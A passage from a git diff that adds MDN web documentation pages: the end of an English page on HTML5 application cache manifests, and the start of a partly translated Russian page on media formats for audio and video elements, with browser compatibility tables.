+<p>The first line of the cache manifest must consist of the string <code>CACHE MANIFEST</code> (with a single <code>U+0020</code> space between the two words), followed by zero or more space or tab characters. Any other text on the line is ignored.</p>
+<p>The remainder of the cache manifest must be comprised of zero or more of the following lines:</p>
+<dl>
+ <dt>
+  Blank line</dt>
+ <dd>
+  You may use blank lines comprised of zero or more space and tab characters.</dd>
+ <dt>
+  Comment</dt>
+ <dd>
+  Comments consist of zero or more tabs or spaces followed by a single <code>#</code> character, followed by zero or more characters of comment text. Comments may only be used on their own lines (after the initial <span style='line-height: normal; font-family: "Courier New", "Andale Mono", monospace; font-size: 14px;'>CACHE MANIFEST </span><span style="line-height: 1.572; font-size: 14px;">line), and cannot be appended to other lines. This means that you cannot specify fragment identifiers.</span></dd>
+ <dt>
+  Section header</dt>
+ <dd>
+  Section headers specify which section of the cache manifest is being manipulated. There are three possible section headers:</dd>
+</dl>
+<blockquote>
+ <table class="standard-table">
+  <tbody>
+   <tr>
+    <th>Section header</th>
+    <th>Description</th>
+   </tr>
+   <tr>
+    <td><code>CACHE:</code></td>
+    <td>Switches to the explicit section of the cache manifest (this is the default section).</td>
+   </tr>
+   <tr>
+    <td><code>NETWORK:</code></td>
+    <td>Switches to the online whitelist section of the cache manifest.</td>
+   </tr>
+   <tr>
+    <td><code>FALLBACK:</code></td>
+    <td>Switches to the fallback section of the cache manifest.</td>
+   </tr>
+  </tbody>
+ </table>
+</blockquote>
+<dl>
+ <dd>
+  The section header line may include whitespaces, but must include the colon (<code>:</code>) in the section name.</dd>
+ <dt>
+  Section data</dt>
+ <dd>
+  The format for lines of data varies from section to section. In the explicit (<code>CACHE:</code>) section, each line is a valid URI or IRI reference to a resource to cache (no wildcard characters are allowed in this sections). Whitespace is allowed before and after the URI or IRI on each line. In the Fallback section each line is a valid URI or IRI reference to a resource, followed by a fallback resource that is to be served up when a connection with the server cannot be made. In the network section, each line is a valid URI or IRI reference to a resource to fetch from the network (the wildcard character * is allowed in this section).<br>
+  <div class="note">
+   <strong>Note: </strong>Relative URIs are relative to the cache manifest's URI, not to the URI of the document referencing the manifest.</div>
+ </dd>
+</dl>
+<p>Cache manifest files can switch from section to section at will (each section header can be used more than once), and sections are allowed to be empty.</p>
+<h2 id="Resources_in_an_application_cache">Resources in an application cache</h2>
+<p>An application cache always includes at least one resource, identified by URI. All resources fit into one of the following categories:</p>
+<dl>
+ <dt>
+  Master entries</dt>
+ <dd>
+  These are resources added to the cache because a browsing context visited by the user included a document that indicated that it was in this cache using its <code>manifest</code> attribute.</dd>
+ <dt>
+  Explicit entries</dt>
+ <dd>
+  These are resources explicitly listed in the application's cache manifest file.</dd>
+ <dt>
+  Network entries</dt>
+ <dd>
+  These are resources listed in the application's cache manifest files as network entries.</dd>
+ <dt>
+  Fallback entries</dt>
+ <dd>
+  These are resources listed in the application's cache manifest files as fallback entries.</dd>
+</dl>
+<div class="note">
+ <strong>Note:</strong> Resources can be tagged with multiple categories, and can therefore be categorized as multiple entries. For example, an entry can be both an explicit entry and a fallback entry.</div>
+<p>Resource categories are described in greater detail below.</p>
+<h3 id="Master_entries">Master entries</h3>
+<p>Master entries are any HTML files that include a {{htmlattrxref("manifest","html")}} attribute in their {{HTMLElement("html")}} element. For example, let's say we have the HTML file <code><a class="linkification-ext external" href="http://www.foo.bar/entry.html" title="Linkification: http://www.foo.bar/entry.html">http://www.example.com/entry.html</a></code>, which looks like this:</p>
+<pre class="brush: html">&lt;html manifest="example.appcache"&gt;
+  &lt;h1&gt;Application Cache Example&lt;/h1&gt;
+&lt;/html&gt;
+</pre>
+<p>If <code>entry.html</code> is not listed in the <code>example.appcache</code> cache manifest file, visiting the <code>entry.html</code> page causes <code>entry.html</code> to be added to the application cache as a master entry.</p>
+<h3 id="Explicit_entries">Explicit entries</h3>
+<p>Explicit entries are resources that are explicitly listed in the <code>CACHE </code>section of a cache manifest file.</p>
+<h3 id="Network_entries">Network entries</h3>
+<p>The <code>NETWORK</code> section of a cache manifest file specifies resources for which a web application requires online access. Network entries in an application cache are essentially an "online whitelist"—URIs specified in the <code>NETWORK</code> section are loaded from the server instead of the cache. This lets the browser's security model protect the user from potential security breaches by limiting access to approved resources.</p>
+<p>As an example, you can use network entries to load and execute scripts and other code from the server instead of the cache:</p>
+<pre>CACHE MANIFEST
+NETWORK:
+/api
+</pre>
+<p>The cache manifest section listed above ensures that requests to load resources contained in the <code><a href="http://www.example.com/api/" rel="freelink">http://www.example.com/api/</a></code> subtree always go to the network without attempting to access the cache.</p>
+<div class="note">
+ <strong>Note</strong>: Simply omitting master entries (files that have the <code>manifest</code> attribute set in the <code>html</code> element) from the manifest file would not have the same result, because master entries will be added—and subsequently served from—the application cache.</div>
+<h3 id="Fallback_entries">Fallback entries</h3>
+<p>Fallback entries are used when an attempt to load a resource fails. For example, let's say the cache manifest file <code><a href="http://www.example.com/example.appcache" rel="freelink">http://www.example.com/example.appcache</a></code> includes the following content:</p>
+<pre>CACHE MANIFEST
+FALLBACK:
+example/bar/ example.html
+</pre>
+<p>Any request to <code><a href="http://www.example.com/example/bar/" rel="freelink">http://www.example.com/example/bar/</a></code> or any of its subdirectories and their content cause the browser to issue a network request to attempt to load the requested resource. If the attempt fails, due to either a network failure or a server error of some kind, the browser loads the file <code>example.html</code> instead.</p>
+<h2 id="Cache_states">Cache states</h2>
+<p>Each application cache has a <strong>state</strong>, which indicates the current condition of the cache. Caches that share the same manifest URI share the same cache state, which can be one of the following:</p>
+<dl>
+ <dt>
+  <code>UNCACHED</code></dt>
+ <dd>
+  A special value that indicates that an application cache object is not fully initialized.</dd>
+ <dt>
+  <code>IDLE</code></dt>
+ <dd>
+  The application cache is not currently in the process of being updated.</dd>
+ <dt>
+  <code>CHECKING</code></dt>
+ <dd>
+  The manifest is being fetched and checked for updates.</dd>
+ <dt>
+  <code>DOWNLOADING</code></dt>
+ <dd>
+  Resources are being downloaded to be added to the cache, due to a changed resource manifest.</dd>
+ <dt>
+  <code>UPDATEREADY</code></dt>
+ <dd>
+  There is a new version of the application cache available. There is a corresponding <code>updateready</code> event, which is fired instead of the <code>cached</code> event when a new update has been downloaded but not yet activated using the <code>swapCache()</code> method.</dd>
+ <dt>
+  <code>OBSOLETE</code></dt>
+ <dd>
+  The application cache group is now obsolete.</dd>
+</dl>
+<h2 id="Testing_for_updates_to_the_cache_manifest">Testing for updates to the cache manifest</h2>
+<p>You can programmatically test to see if an application has an updated cache manifest file, using JavaScript. Since a cache manifest file may have been updated before a script attaches event listeners to test for updates, scripts should always test <code>window.applicationCache.status</code>.</p>
+<pre class="brush: js">function onUpdateReady() {
+  alert('found new version!');
+}
+window.applicationCache.addEventListener('updateready', onUpdateReady);
+if(window.applicationCache.status === window.applicationCache.UPDATEREADY) {
+  onUpdateReady();
+}</pre>
+<p>To manually start testing for a new manifest file, you can use <code>window.applicationCache.update()</code>.</p>
+<h2 id="Gotchas">Gotchas</h2>
+<ul>
+ <li>Never access cached files by using traditional GET parameters (like <code>other-cached-page.html?parameterName=value</code>). This will make the browser bypass the cache and attempt to get it from network. To link to cached resources that have parameters parsed in JavaScript use parameters in the hash part of the link, such as <code>other-cached-page.html#whatever?parameterName=value</code>.</li>
+ <li>When applications are cached, simply updating the resources (files) that are used in a web page is not enough to update the files that have been cached. You must update the cache manifest file itself before the browser retrieves and uses the updated files. You can do this programmatically using <code>window.applicationCache.swapCache()</code>, though resources that have already been loaded will not be affected. To make sure that resources are loaded from a new version of the application cache, refreshing the page is ideal.</li>
+ <li>It's a good idea to set expires headers on your web server for <code>*.appcache</code> files to expire immediately. This avoids the risk of caching manifest files. For example, in Apache you can specify such a configuration as follows:<br>
+  <code>ExpiresByType text/cache-manifest "access plus 0 seconds"</code></li>
+</ul>
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+<p>{{CompatibilityTable}}</p>
+<div id="compat-desktop">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Feature</th>
+    <th>Chrome</th>
+    <th>Firefox (Gecko)</th>
+    <th>Internet Explorer</th>
+    <th>Opera</th>
+    <th>Safari</th>
+   </tr>
+   <tr>
+    <td>Basic support</td>
+    <td>4.0</td>
+    <td>3.5</td>
+    <td>10.0</td>
+    <td>10.6</td>
+    <td>4.0</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Feature</th>
+    <th>Android</th>
+    <th>Firefox Mobile (Gecko)</th>
+    <th>IE Mobile</th>
+    <th>Opera Mobile</th>
+    <th>Safari Mobile</th>
+   </tr>
+   <tr>
+    <td>Basic support</td>
+    <td>2.1</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatNo}}</td>
+    <td>11.0</td>
+    <td>3.2</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<p>Note: Versions of Firefox prior to 3.5 ignore the <code>NETWORK </code>and <code>FALLBACK </code>sections of the cache manifest file.</p>
+<h2 id="See_also">See also</h2>
+<ul>
+ <li><a href="http://www.html5rocks.com/en/tutorials/appcache/beginner/" title="http://www.html5rocks.com/en/tutorials/appcache/beginner/">HTML5Rocks - A Beginner's Guide to Using the Application Cache</a></li>
+ <li><a href="http://appcache.offline.technology/" title="http://appcache.offline.technology/">Appcache Facts</a> - detailed information on AppCache idiosyncrasies</li>
+ <li><a href="http://alistapart.com/article/application-cache-is-a-douchebag" title="http://alistapart.com/article/application-cache-is-a-douchebag">A List Apart: Application Cache is a Douchebag</a>
+  <ul>
+   <li><a href="http://flailingmonkey.com/application-cache-not-a-douchebag" title="http://flailingmonkey.com/application-cache-not-a-douchebag">The Application Cache is no longer a Douchebag</a> - an overview of the app cache debugging tools added in Firefox 23.</li>
+  </ul>
+ </li>
+ <li><a href="http://hacks.mozilla.org/2010/01/offline-web-applications/" title="http://hacks.mozilla.org/2010/01/offline-web-applications/">offline web applications</a> at hacks.mozilla.org - showcases an offline app demo and explains how it works.</li>
+ <li><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/offline.html#offline" title="http://www.whatwg.org/specs/web-apps/current-work/multipage/offline.html#offline">HTML 5 working draft: Offline web applications</a></li>
+ <li><a href="http://www.w3.org/TR/offline-webapps/" title="http://www.w3.org/TR/offline-webapps/">W3C Working Group Note: Offline Web Applications</a></li>
+ <li><a href="http://developer.teradata.com/blog/js186040/2011/11/html5-cache-manifest-an-off-label-usage" title="http://developer.teradata.com/blog/js186040/2011/11/html5-cache-manifest-an-off-label-usage">HTML5 Cache Manifest: An Off-label Usage</a></li>
+ <li><a href="http://manifest-validator.com" title="http://manifest-validator.com">Cache Manifest Validator</a></li>
+ <li>{{interface("nsIApplicationCache")}}</li>
+ <li>{{interface("nsIApplicationCacheNamespace")}}</li>
+ <li>{{interface("nsIApplicationCacheContainer")}}</li>
+ <li>{{interface("nsIApplicationCacheChannel")}}</li>
+ <li>{{interface("nsIApplicationCacheService")}}</li>
+ <li>{{interface("nsIDOMOfflineResourceList")}}</li>
+ <li><a href="http://www.ibm.com/developerworks/web/library/wa-ffox3/">Get ready for Firefox 3.0 - A Web developer's guide to the many new features in this popular browser, especially the offline application features</a> (IBM developerWorks)</li>
+ <li><a href="/en-US/docs/Application_cache_implementation_overview" title="/en-US/docs/Application_cache_implementation_overview">Application cache implementation overview</a></li>
+</ul>
diff --git a/files/ru/web/html/поддерживаемые_медиа_форматы/index.html b/files/ru/web/html/поддерживаемые_медиа_форматы/index.html
new file mode 100644
index 0000000000..dd7f204747
--- /dev/null
+++ b/files/ru/web/html/поддерживаемые_медиа_форматы/index.html
@@ -0,0 +1,516 @@
+---
+title: Форматы медиа поддерживаемые HTML audio и video элементами
+slug: Web/HTML/Поддерживаемые_медиа_форматы
+translation_of: Web/Media/Formats
+---
+<p><span class="seoSummary">{{ HTMLElement("audio") }} и {{ HTMLElement("video") }} элементы предоставляют поддержку для проигрывания аудио и видео медиа без нужды в плагинах. </span>Формат медиафайла состоит из контейнера, содержащего один или несколько потоков данных, закодированных с использованием формата сжатия, называемого кодеком. Контейнер идентифицируется по расширению файла. Потоки внутри контейнера имеют несколько типов, которые могут включать в себя видео, аудио, данные или титры. Один контейнер (т. е. медиафайл) может содержать несколько потоков одного типа. В аудио- и видео- потоках находятся кодеки. Кодек — сокращенние слов "кодера-декодер" — является алгоритмом сжатия данных в файле. Каждый тип контейнера имеет только определенные кодеки, которые он поддерживает.</p>
+
+<p>Важно понять, почему в Интернете нужны разные медиаформаты. По разным причинам, выходящим за рамки данной статьи, различные браузеры поддерживают разные медиаформаты. Кроме того, область медиаформатов в Интернете сильно пострадала от патентного права во многих странах, включая США и страны ЕС. (Примечания к патентам в этой статье предоставляются как есть, так и без каких-либо гарантий.) В этой статье рассматриваются наиболее важные для Интернета форматы, включая поддержку в браузерах как мобильных, так и десктопных .</p>
+
+<p> </p>
+
+<h3 id="Отображение_медиа">Отображение медиа</h3>
+
+<p> </p>
+
+<p>Ниже краткий обзор того, как медиа-элементы отображаются в HTML. Более подробную информацию смотрите в статьях для каждого элемента.</p>
+
+<p>HTML5 поддерживает несколько элементов мультимедиа. Элементы {{HTMLElement ("video")}} и {{HTMLElement ("audio")}} могут использоваться отдельно или в сочетании с элементом {{HTMLElement ("source")}}. Наш краткий пример отображает это. Хотя элементы <code>&lt;video&gt;</code> и <code>&lt;audio&gt;</code> содержат атрибуты src, этот пример использует  элемент <code>&lt;source&gt;</code> для предоставления видеофайлов в нескольких форматах, позволяя каждому браузеру выбирать элемент, который он поддерживает.</p>
+
+<pre class="brush: html">&lt;video controls&gt;
+  &lt;source src="somevideo.webm" type="video/webm"&gt;
+  &lt;source src="somevideo.mp4" type="video/mp4"&gt;
+  Сожалею; ваш браузер не поддерживает HTML5 видео в WebM с VP8 или MP4 с H.264.
+  &lt;!-- Ты можешь встроить флеш плеер сюда, для воспроизведения твоего mp4 видео в старых браузерах --&gt;
+&lt;/video&gt;
+</pre>
+
+<h2 id="WebM">WebM</h2>
+
+<p>Формат <a class="external" href="http://www.webmproject.org/" title="http://www.webmproject.org/">WebM</a> основан на ограниченной версии формата контейнера <a class="external" href="http://corecodec.com/products/matroska" title="http://corecodec.com/products/matroska">Matroska</a>. Формат всегда использует видео кодек VP8 или VP9 и аудио кодек Vorbis или Opus. WebM нативно поддерживается в десктопной и мобильной версиях Gecko (Firefox), Chrome и Opera. Поддержка формата может быть добавлена в Internet Explorer и Safari (но не на iOS) установкой плагина. Нативная поддержка VP9 WebM в Edge сейчас в стадии разработки.</p>
+
+<p>Формат WebM, а точнее видеокодек VP8, подвергся претензиям в нарушениях патентов от ряда компаний, отвечающих на требования, MPEG LA о фомировании списка патентов, но при этом <a href="http://www.businesswire.com/news/home/20130307006192/en/Google-MPEG-LA-Announce-Agreement-Covering-VP8">MPEG LA дала согласие на лицензирование этих патентов для Google</a> под лицензией "<a href="http://xiphmont.livejournal.com/59893.html?thread=310261#t310261">perpetual, transferable, royalty free license"</a>.  Это фактически означает, что все известные патенты, относящиеся к формату WebM лицензированы для свободного использования всеми.</p>
+
+<p>Движок Gecko распознаёт следующие типы MIME как файлы WebM:</p>
+
+<dl>
+ <dt><code>video/webm</code></dt>
+ <dd>файл WebM, содержащий видео (а возможно, также и аудио).</dd>
+ <dt><code>audio/webm</code></dt>
+ <dd>Файл WebM, содержащий только аудиоданные.</dd>
+</dl>
+
+<h2 id="Ogg_Theora_Vorbis">Ogg Theora Vorbis</h2>
+
+<p>The Ogg container format with the Theora video codec and the Vorbis audio codec is supported in desktop/mobile Gecko (Firefox), Chrome, and Opera, and support for the format can be added to Safari (but not on iOS) by installing an add-on. The format is not supported in Internet Explorer in any way.</p>
+
+<p>WebM is generally preferred over Ogg Theora Vorbis when available, because it provides a better compression to quality ratio and is supported in more browsers. The Ogg format can however be used to support older browser versions (for example Firefox 3.5/3.6 don't support WebM, but do support Ogg.)</p>
+
+<p>The patent situation of Theora is similar to that of WebM.</p>
+
+<p>You can learn more about creating Ogg media by reading the <a class="external" href="http://en.flossmanuals.net/ogg-theora/" title="http://en.flossmanuals.net/ogg-theora/">Theora Cookbook</a>.</p>
+
+<p>Gecko recognizes the following MIME types as Ogg files:</p>
+
+<dl>
+ <dt><code>audio/ogg</code></dt>
+ <dd>An Ogg file containing only audio.</dd>
+ <dt><code>video/ogg</code></dt>
+ <dd>An ogg file containing video (and possibly also audio).</dd>
+ <dt><code>application/ogg</code></dt>
+ <dd>An Ogg file with unspecified content. Using one of the other two MIME types is preferred, but you can use this if you don't know what the contents of the file are.</dd>
+</dl>
+
+<h2 id="Ogg_Opus">Ogg Opus</h2>
+
+<p>The Ogg container can also contain audio encoded using the <a class="external" href="http://www.opus-codec.org/" title="http://www.opus-codec.org/">Opus codec</a>. Support for this is available in Gecko 15.0 {{ geckoRelease("15.0") }} and later, on desktop and mobile browsers.</p>
+
+<h2 id="MP4_H.264_(AAC_or_MP3)">MP4 H.264 (AAC or MP3)</h2>
+
+<p>The MP4 container format with the H.264 video codec and the AAC audio codec is natively supported by desktop/mobile Internet Explorer, Safari and Chrome, but Chromium and Opera do not support the format. IE and Chrome also support the MP3 audio codec in the MP4 container, but Safari does not. Firefox/Firefox for Android/Firefox OS supports the format in some cases, but only when a third-party decoder is available, and the device hardware can handle the profile used to encode the MP4.</p>
+
+<div class="note">
+<p><strong>Note</strong>: MP4s encoded with a high profile will not run on lower end hardware, such as low end Firefox OS phones.</p>
+</div>
+
+<p>The MPEG media formats are covered by patents, which are not freely licensed. All the necessary licenses can be bought from MPEG LA. Since H.264 is currently not a royalty free format, it is unfit for the open web platform, according to Mozilla [<a class="external" href="http://shaver.off.net/diary/2010/01/23/html5-video-and-codecs/" title="http://shaver.off.net/diary/2010/01/23/html5-video-and-codecs/">1</a>, <a class="external" href="http://robert.ocallahan.org/2010/01/video-freedom-and-mozilla_23.html" title="http://robert.ocallahan.org/2010/01/video-freedom-and-mozilla_23.html">2</a>], Google [<a class="external" href="http://blog.chromium.org/2011/01/html-video-codec-support-in-chrome.html" title="http://blog.chromium.org/2011/01/html-video-codec-support-in-chrome.html">1</a>, <a class="external" href="http://blog.chromium.org/2011/01/more-about-chrome-html-video-codec.html" title="http://blog.chromium.org/2011/01/more-about-chrome-html-video-codec.html">2</a>] and Opera. However, since royalty free formats are not supported by Internet Explorer and Safari, <a href="https://hacks.mozilla.org/2012/03/video-mobile-and-the-open-web/" title="https://hacks.mozilla.org/2012/03/video-mobile-and-the-open-web/">Mozilla has decided to support the format anyway</a>, and Google never fulfilled their promise to <span class="external">remove support for it in Chrome</span>.</p>
+
+<h2 id="MP3">MP3</h2>
+
+<p>MP3 аудио формат (.mp3, <code>audio/mpeg</code>; в отличии от выше MP3 аудио в случае MP4 контейнера) поддерживается в <code>&lt;audio&gt;</code> Firefox/Firefox для Android/Firefox OS когда операционая система обеспечивает MP3 декодер, и Internet Explorer, Chrome и Safari.</p>
+
+<h2 id="WAVE_PCM">WAVE PCM</h2>
+
+<p>The WAVE container format, with the PCM audio codec (WAVE codec "1") is supported by desktop/mobile Gecko (Firefox) and Safari. Files in the WAVE container format typically end with the ".wav" extension.</p>
+
+<div class="note"><strong>Note: </strong>See <a class="external" href="http://www.rfc-editor.org/rfc/rfc2361.txt" title="http://www.rfc-editor.org/rfc/rfc2361.txt">RFC 2361</a> for the WAVE codec registry.</div>
+
+<p>Gecko recognizes the following MIME types as WAVE audio files:</p>
+
+<ul>
+ <li><code>audio/wave</code> (preferred; does not work in Chrome)</li>
+ <li><code>audio/wav</code></li>
+ <li><code>audio/x-wav</code></li>
+ <li><code>audio/x-pn-wav</code></li>
+</ul>
+
+<h2 id="Media_Source_Extensions_(MSE)">Media Source Extensions (MSE)</h2>
+
+<p><a href="https://dvcs.w3.org/hg/html-media/raw-file/tip/media-source/media-source.html">Media Source Extensions</a> is a W3C working draft that plans to extend {{ domxref("HTMLMediaElement") }} to allow JavaScript to generate media streams for playback. Allowing JavaScript to generate streams facilitates a variety of use cases like adaptive streaming and time shifting live streams. This currently has experimental support in Firefox desktop, and other browsers too.<br>
+ <br>
+ For example,  <a href="http://msopentech.com/blog/2014/01/03/streaming_video_player/">you could implement MPEG-DASH using JavaScript while offloading the decoding to MSE</a>.</p>
+
+<div class="note">
+<p><strong>Note</strong>: Time Shifting is the process of consuming a live stream some time after it happened.</p>
+</div>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>3.0</td>
+   <td>{{ CompatGeckoDesktop("1.9.1") }}</td>
+   <td>9.0</td>
+   <td>10.50</td>
+   <td>3.1</td>
+  </tr>
+  <tr>
+   <td><code>&lt;audio&gt;</code>: PCM in WAVE</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatGeckoDesktop("1.9.1") }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>10.50</td>
+   <td>3.1</td>
+  </tr>
+  <tr>
+   <td><code>&lt;audio&gt;</code>: Vorbis in WebM</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatGeckoDesktop("2.0") }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>10.60</td>
+   <td>3.1 (must be installed separately)</td>
+  </tr>
+  <tr>
+   <td><code>&lt;audio&gt;</code>: Streaming Vorbis in WebM via <a href="https://w3c.github.io/media-source/">Media Source Extensions (MSE)</a></td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatGeckoDesktop("36.0") }} in Nightly/Dev edition only</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+  <tr>
+   <td><code>&lt;audio&gt;</code>: Vorbis in Ogg</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatGeckoDesktop("1.9.1") }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>10.50</td>
+   <td>3.1 (must be installed separately, e.g. <a class="external" href="http://www.xiph.org/quicktime/" title="http://www.xiph.org/quicktime/">XiphQT</a>)</td>
+  </tr>
+  <tr>
+   <td>&lt;audio&gt;: MP3</td>
+   <td>{{ CompatVersionUnknown() }} (Not in Chromium)</td>
+   <td>Partial (see below)</td>
+   <td>9.0</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>3.1</td>
+  </tr>
+  <tr>
+   <td><code>&lt;audio&gt;</code>: MP3 in MP4</td>
+   <td>
+    <p>{{ CompatUnknown() }}</p>
+   </td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+  <tr>
+   <td><code>&lt;audio&gt;</code>: AAC in MP4</td>
+   <td>
+    <p>{{ CompatVersionUnknown() }} (Main only) (Not in Chromium)</p>
+   </td>
+   <td>
+    <p>Partial (see below)</p>
+   </td>
+   <td>9.0</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>3.1</td>
+  </tr>
+  <tr>
+   <td><code>&lt;audio&gt;</code>: Opus in Ogg</td>
+   <td>27.0</td>
+   <td>{{ CompatGeckoDesktop("15.0") }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+  <tr>
+   <td><code>&lt;video&gt;</code>: VP8 and Vorbis in WebM</td>
+   <td>6.0</td>
+   <td>{{ CompatGeckoDesktop("2.0") }}</td>
+   <td>9.0 (<a class="external" href="http://blogs.msdn.com/b/ie/archive/2011/03/16/html5-video-update-webm-for-ie9.aspx" title="http://blogs.msdn.com/b/ie/archive/2011/03/16/html5-video-update-webm-for-ie9.aspx">must be installed separately</a>, e.g. <a class="external" href="http://tools.google.com/dlpage/webmmf/" title="http://tools.google.com/dlpage/webmmf/">WebM MF</a>)</td>
+   <td>10.60</td>
+   <td>3.1 (must be installed separately, e.g. <a class="external" href="http://perian.org/" title="http://perian.org/">Perian</a>)</td>
+  </tr>
+  <tr>
+   <td><code>&lt;video&gt;</code>: VP9 and Opus in WebM</td>
+   <td>29.0</td>
+   <td>{{ CompatGeckoDesktop("28.0") }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+  <tr>
+   <td><code>&lt;video&gt;</code>: Streaming VP9 and Opus/VP8 and Opus in WebM via <a href="https://w3c.github.io/media-source/">Media Source Extensions (MSE)</a></td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatGeckoDesktop("36.0") }} in Nightly/Dev edition only</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+  <tr>
+   <td><code>&lt;video&gt;</code>:  Theora and Vorbis in Ogg</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatGeckoDesktop("1.9.1") }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>10.50</td>
+   <td>3.1 (must be installed separately, e.g. <a class="external" href="http://www.xiph.org/quicktime/" title="http://www.xiph.org/quicktime/">XiphQT</a>)</td>
+  </tr>
+  <tr>
+   <td><code>&lt;video&gt;</code>:  H.264 and MP3 in MP4</td>
+   <td>
+    <p>{{ CompatVersionUnknown() }} (Not in Chromium)</p>
+   </td>
+   <td>Partial (see below)</td>
+   <td>9.0</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+  <tr>
+   <td><code>&lt;video&gt;</code>: H.264 and AAC in MP4</td>
+   <td>
+    <p>{{ CompatVersionUnknown() }} (Not in Chromium)</p>
+   </td>
+   <td>Partial (see below)</td>
+   <td>9.0</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>3.1</td>
+  </tr>
+  <tr>
+   <td>any other format</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>3.1 (plays all formats available via QuickTime)</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Opera Mini</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>2.3</td>
+   <td>24.0</td>
+   <td>1.0.1</td>
+   <td>10.0</td>
+   <td>11.0</td>
+   <td>Partial (see below)</td>
+   <td>3.2</td>
+   <td>29.0</td>
+  </tr>
+  <tr>
+   <td><code>&lt;audio&gt;</code>: PCM in WAVE</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>24.0</td>
+   <td>1.0.1</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>Partial (see below)</td>
+   <td>3.2</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+  <tr>
+   <td><code>&lt;audio&gt;</code>: Vorbis in WebM</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>24.0</td>
+   <td>1.0.1</td>
+   <td>{{ CompatNo() }}</td>
+   <td>11.0</td>
+   <td>Partial (see below)</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+  <tr>
+   <td><code>&lt;audio&gt;</code>: Streaming Vorbis in WebM via <a href="https://w3c.github.io/media-source/">Media Source Extensions (MSE)</a></td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+  <tr>
+   <td><code>&lt;audio&gt;</code>: Vorbis in Ogg</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>24.0</td>
+   <td>1.0.1</td>
+   <td>{{ CompatNo() }}</td>
+   <td>11.0</td>
+   <td>Partial (see below)</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+  <tr>
+   <td><code>&lt;audio&gt;</code>: MP3</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>Partial (see below)</td>
+   <td>Partial (see below)</td>
+   <td>10.0</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>Partial (see below)</td>
+   <td>3.2</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+  <tr>
+   <td><code>&lt;audio&gt;</code>: MP3 in MP4</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+  <tr>
+   <td><code>&lt;audio&gt;</code>: AAC in MP4</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>Partial (see below)</td>
